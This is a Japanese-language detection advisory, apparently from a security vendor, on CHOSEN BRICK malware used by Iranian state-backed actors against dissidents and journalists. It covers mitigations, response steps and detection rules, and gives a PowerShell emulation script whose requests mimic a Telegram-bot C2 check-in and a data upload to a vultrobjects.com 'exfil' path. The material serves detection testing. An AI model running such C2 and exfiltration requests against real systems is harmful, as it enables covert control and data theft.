イランの反体制派、活動家、ジャーナリストに対するサイバー攻撃
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
イランの国家支援を受けたアクターが、CHOSEN BRICKマルウェアを使用して、世界中の反体制派、活動家、ジャーナリストを標的にしています。このマルウェアは、WhatsAppやTelegramなどのプラットフォームでのソーシャルエンジニアリングを通じて配信され、しばしば正規のアプリケーションやファイルに偽装されています。インストールされると、CHOSEN BRICKはデータ盗難、マイク録音、Telegramベースの指揮統制によるシステム抹消をサポートします。
調査
調査により、Windowsシステム上でのCHOSEN BRICKの展開に続くソーシャルエンジニアリングの繰り返しのパターンが確認されました。分析者は、マルウェアがC2通信にTelegramボットを使用し、データ抽出にクラウドストレージサービスを活用しているのを観察しました。持続性は特定のレジストリのRunキーにより確立され、セキュリティ制御を回避するためにMicrosoft Defenderの除外が追加されます。
緩和策
推奨される緩和策には、ソーシャルエンジニアリング技術に関するユーザーの認識を向上させ、未承諾の添付ファイルから配信されたソフトウェアを避けることが含まれます。組織はフィッシング対抗の強力なMFAを施行し、アプリケーションのホワイトリストを実装し、アンチウイルスソフトウェアを最新の状態に保つべきです。Telegramや既知のクラウドストレージプロバイダーへの疑わしい接続を監視することも、検出力を強化することができます。
対応
CHOSEN BRICKの活動が検出された場合、組織はITプロバイダと協力してエンドポイントログを確認し、関連するレジストリキーやファイルパスを調査する必要があります。リスクの高い個人によって使用される企業および個人デバイスを確認すべきです。セキュリティチームは、キャンペーンに関連するドメイン名、ファイル名、およびその他の技術的指標を検索する必要があります。
攻撃フロー
この部分はまだ更新中です。
検出
持続性ポイントの可能性 [ASEPs – Software/NTUSER Hive](レジストリ イベントによる)
コマンドアンドコントロールチャネルとしてのTelegramの悪用の可能性(dns_queryによる)
悪質な通信のためのCHOSEN BRICKのTelegramおよびVultrObjectsの使用 [Windows ネットワーク接続]
レジストリRunキーによるCHOSEN BRICK持続性の検出 [Windowsレジストリエベント]
シミュレーション実行
-
攻撃の背景とコマンド: 敵は指揮統制(C2)を確立し、機密データを抽出しようとしています。従来のシグネチャベースのアンチウイルスを回避するため、彼らは正規のウェブサービスを利用しています。最初に、攻撃者はTelegram APIを通じて自分のC2サーバーと「チェックイン」するコマンドを実行します(
api.telegram.org)。その後、攻撃者はvultrobjects.comにホスティングされているストレージバケットにアップロードすることで機密ファイルの抽出をシミュレートします。これらのアクションは正規の暗号化ウェブトラフィックと偽装するため、標準のウェブリクエスト経由で実行され、特定のIoCsが知られている場合にのみ検査を回避して発見されることを期待されています。 -
回帰テストスクリプト:
# シミュレーションスクリプト:CHOSEN BRICK戦術手法エミュレーション # このスクリプトはTelegramを介したC2とVultrObjectsを介した抽出をシミュレートします $C2_Domain = "api.telegram.org" $Exfil_Domain = "vultrobjects.com" Write-Host "[+] シミュレーション開始:CHOSEN BRICK戦術手法のエミュレーション中..." -ForegroundColor Cyan # 1. C2チェックインのシミュレーション (Telegram API) Write-Host "[*] ステップ1: $C2_DomainへC2チェックインのシミュレーション中" -ForegroundColor Yellow try { $c2_response = Invoke-WebRequest -Uri "https://$C2_Domain/bot123456:ABC-DEF/getUpdates" -Method Get -ErrorAction SilentlyContinue Write-Host "[+] C2リクエスト送信済み。" -ForegroundColor Green } catch { Write-Host "[!] 注: 接続失敗 (インターネット/プロキシがない場合に予想されます) ですが、テレメトリは生成されるべきです。" -ForegroundColor Gray } # 2. データ抽出のシミュレーション (VultrObjects) Write-Host "[*] ステップ2: $Exfil_Domainへのデータ抽出のシミュレーション中" -ForegroundColor Yellow $dummy_data = "高度に機密性のある情報が抽出されています。" $dummy_file = "$env:TEMPsensitive_data.txt" $dummy_data | Out-File -FilePath $dummy_file try { # クラウドストレージエンドポイントへのPUTリクエストのシミュレーション Invoke-RestMethod -Uri "https://$Exfil_Domain/exfil/data_dump.txt" -Method Put -Body $dummy_data -ContentType "text/plain" -ErrorAction SilentlyContinue Write-Host "[+] 抽出リクエスト送信済み。" -ForegroundColor Green } catch { Write-Host "[!] 注: 接続失敗 (インターネット/プロキシがない場合に予想されます) ですが、テレメトリは生成されるべきです。" -ForegroundColor Gray } Write-Host "[+] シミュレーション完了。 $C2_Domain と $Exfil_Domain に関わるプロキシログをSIEMで確認してください。" -ForegroundColor Cyan -
クリーンアップコマンド:
# クリーンアップスクリプト $dummy_file = "$env:TEMPsensitive_data.txt" if (Test-Path $dummy_file) { Remove-Item -Path $dummy_file -Force Write-Host "[+] クリーンアップ: ダミー抽出ファイルを削除しました。" -ForegroundColor Green } else { Write-Host "[!] クリーンアップ: ダミーファイルが見つかりません。" -ForegroundColor Yellow }